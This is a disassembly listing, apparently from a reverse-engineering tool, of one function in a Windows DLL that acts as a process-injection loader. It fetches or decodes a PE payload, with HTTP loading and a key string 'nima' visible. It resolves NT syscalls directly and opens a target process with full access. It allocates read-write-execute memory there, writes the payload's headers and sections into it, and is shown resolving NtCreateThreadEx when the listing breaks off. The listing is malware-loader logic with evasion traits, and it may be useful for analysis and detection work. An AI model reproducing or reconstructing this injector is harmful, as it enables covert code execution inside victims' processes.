Function at 0x1800056b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x358
mov rax, qword [0x180012040]
xor rax, rsp
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x70], 0
call fcn.180003ed0
movzx eax, al
test eax, eax
jne 0x18000574a
mov dword [rsp + 0xe0], 0xffffffff
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xe0]
jmp 0x180006887
mov dword [rsp + 0x2a8], 0x30
mov qword [rsp + 0x2b8], 0
mov dword [rsp + 0x2c0], 0
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x2c8], 0
mov eax, dword [rsp + 0x380]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 0
lea rax, str.NtOpenProcess
mov qword [rsp + 0x278], rax
lea rdx, [rsp + 0x278]
lea rcx, [fcn.180003a50]
call fcn.180009740
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0
jne 0x180005807
mov dword [rsp + 0xe4], 0xfffffffe
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xe4]
jmp 0x180006887
lea rax, [rsp + 0x280]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x2a8]
mov qword [rsp + 0x138], rax
mov dword [rsp + 0xe8], 0x1fffff
lea rax, [rsp + 0x370]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x148]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x138]
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x260]
call fcn.180009760
mov dword [rsp + 0x60], eax
lea rdx, str.___NtOpPro_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x68], 0
lea r9, str.http
mov r8d, 4
xor edx, edx
mov rcx, qword [rsp + 0x378]
call fcn.180008160
test eax, eax
jne 0x180005a20
lea rdx, str.___load_from_http
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x18
lea rcx, [rsp + 0x2d8]
call fcn.1800040d0
lea rax, [rsp + 0x220]
mov qword [rsp + 0x158], rax
mov rdx, qword [rsp + 0x378]
mov rcx, qword [rsp + 0x158]
call fcn.180002150
mov qword [rsp + 0x160], rax
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x2d8]
call fcn.180004fe0
nop
lea rcx, [rsp + 0x2d8]
call fcn.180007e70
mov rcx, rax
call fcn.18000ad00
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x2d8]
call fcn.180007ea0
mov qword [rsp + 0x140], rax
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0x2d8]
call fcn.180007ef0
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.1800097b0
lea rcx, [rsp + 0x2d8]
call fcn.180007e70
mov qword [rsp + 0x170], rax
lea rdx, [0x18000dda8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov rcx, qword [rsp + 0x170]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x2d8]
call fcn.180007f60
jmp 0x180005b56
lea rax, [rsp + 0x318]
lea rcx, str.nima
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x31d]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov edx, 0x18
lea rcx, [rsp + 0x2f0]
call fcn.1800040d0
mov rcx, qword [rsp + 0x378]
call fcn.180002080
lea r8, [rsp + 0x318]
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.1800050f0
nop
lea rcx, [rsp + 0x2f0]
call fcn.180007e70
mov rcx, rax
call fcn.18000ad00
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x2f0]
call fcn.180007ea0
mov qword [rsp + 0x180], rax
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x2f0]
call fcn.180007ef0
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.1800097b0
lea rcx, [rsp + 0x2f0]
call fcn.180007e70
mov qword [rsp + 0x188], rax
lea rdx, str.decoded_file_zise:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov rcx, qword [rsp + 0x188]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x2f0]
call fcn.180007f60
mov rax, qword [rsp + 0x68]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180005c28
lea rdx, str.nonono
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800098a0
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x108], rax
mov rcx, qword [rsp + 0x108]
call fcn.18000ac90
cmp qword [rsp + 0x108], 0
jne 0x180005be0
mov qword [rsp + 0x190], 0
jmp 0x180005bf6
mov qword [rsp + 0x68], 0x8123
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x190], rax
mov dword [rsp + 0xec], 0xffffffff
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xec]
jmp 0x180006887
cmp qword [rsp + 0x68], 0
jne 0x180005c85
lea rdx, str.____load__error_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xf0], 0xffffffff
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xf0]
jmp 0x180006887
lea rdx, str.___load__success_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x68]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
add rax, 0x18
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x90]
add rax, 4
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x180005dd1
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
call fcn.18000ac90
cmp qword [rsp + 0x110], 0
jne 0x180005d35
mov qword [rsp + 0x198], 0
jmp 0x180005d4b
mov qword [rsp + 0x68], 0x8123
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x198], rax
call fcn.180003f60
movzx eax, al
test eax, eax
je 0x180005d7c
lea rdx, str.___Cleaned_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180005d9f
lea rdx, str.____Failed_to_clean_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xa0]
jmp 0x180006887
lea rax, [rsp + 0x290]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x290], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x298], rax
lea rcx, str.NtAllocateVirtualMemory
call fcn.180003a50
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
jne 0x180005e77
lea rdx, str.____Failed_to_prepare_syscall_for_NtAlloMem.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xa4], 0xfffffffe
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xa4]
jmp 0x180006887
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x38]
add rax, 0x18
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x268], 0
mov dword [rsp + 0xa8], 0x40
mov dword [rsp + 0xac], 0x3000
lea rax, [rsp + 0x308]
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0xb0], 0
lea rax, [rsp + 0x268]
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb0]
lea r8, [rsp + 0x1a8]
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x250]
call fcn.1800098d0
mov dword [rsp + 0x88], eax
lea rdx, str.___NtAlloMem_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x88]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x180005ff1
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x100]
call fcn.18000ac90
cmp qword [rsp + 0x100], 0
jne 0x180005fa9
mov qword [rsp + 0x1b0], 0
jmp 0x180005fbf
mov qword [rsp + 0x68], 0x8123
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0xb4], 0
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xb4]
jmp 0x180006887
lea rcx, str.NtWriteVirtualMemory
call fcn.180003a50
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x240], 0
jne 0x180006065
lea rdx, str.____Failed_to_prepare_syscall_for_NtWriMem.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xb8], 0xfffffffe
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xb8]
jmp 0x180006887
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x98]
mov r9d, dword [rax + 0x3c]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x370]
call qword [rsp + 0x240]
mov dword [rsp + 0x60], eax
lea rdx, str.___NtWriMem_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rsp + 0x60], 0
je 0x180006158
call fcn.180003f60
movzx eax, al
test eax, eax
je 0x180006103
lea rdx, [0x18000df30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180006126
lea rdx, [0x18000df48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xbc], 0
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xbc]
jmp 0x180006887
mov rax, qword [rsp + 0x90]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x90]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x78], 0
jmp 0x1800061a1
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x80]
add rax, 0x28
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xf8]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x78], eax
je 0x18000634e
mov rax, qword [rsp + 0x80]
cmp dword [rax + 0x10], 0
je 0x180006349
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x80]
mov r9d, dword [rdx + 0x10]
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x370]
call qword [rsp + 0x240]
mov dword [rsp + 0x60], eax
lea rdx, [0x18000df70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rsp + 0x60], 0
je 0x180006349
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x120]
call fcn.18000ac90
cmp qword [rsp + 0x120], 0
jne 0x180006291
mov qword [rsp + 0x1b8], 0
jmp 0x1800062a7
mov qword [rsp + 0x68], 0x8123
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1b8], rax
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call fcn.180003f60
movzx eax, al
test eax, eax
je 0x1800062f4
lea rdx, str.___Cleaned_up__handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180006317
lea rdx, str.____Failed_to_clean_up_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xc0], 0
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xc0]
jmp 0x180006887
jmp 0x180006183
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1c8], 0x18
lea rax, [rsp + 0x290]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x38]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1d0]
lea r8, [rsp + 0x1d8]
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x240]
call fcn.180009930
mov dword [rsp + 0x60], eax
lea rdx, [0x18000dfc8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x128], rax
mov rcx, qword [rsp + 0x128]
call fcn.18000ac90
cmp qword [rsp + 0x128], 0
jne 0x18000644c
mov qword [rsp + 0x1e0], 0
jmp 0x180006462
mov qword [rsp + 0x68], 0x8123
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x310], 0x1000
mov qword [rsp + 0x258], 0
mov dword [rsp + 0xc4], 0x40
mov dword [rsp + 0xc8], 0x3000
lea rax, [rsp + 0x310]
mov qword [rsp + 0x1e8], rax
mov dword [rsp + 0xcc], 0
lea rax, [rsp + 0x258]
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xcc]
lea r8, [rsp + 0x1f0]
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x250]
call fcn.1800098d0
mov dword [rsp + 0x60], eax
lea rdx, [0x18000dfe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x88]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 0
jne 0x1800065f1
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.180003f60
movzx eax, al
test eax, eax
je 0x18000659c
lea rdx, [0x18000dff8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1800065bf
lea rdx, [0x18000e010]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xd0], 0
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xd0]
jmp 0x180006887
mov qword [rsp + 0x1f8], 0
mov dword [rsp + 0xd4], 0x1000
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x20], rax
lea r9, [0x1800068b0]
lea r8, [rsp + 0x248]
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x240]
call fcn.180009990
mov dword [rsp + 0x60], eax
lea rdx, str.___pNtWriMem_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.NtCreateThreadEx
call fcn.180003a50
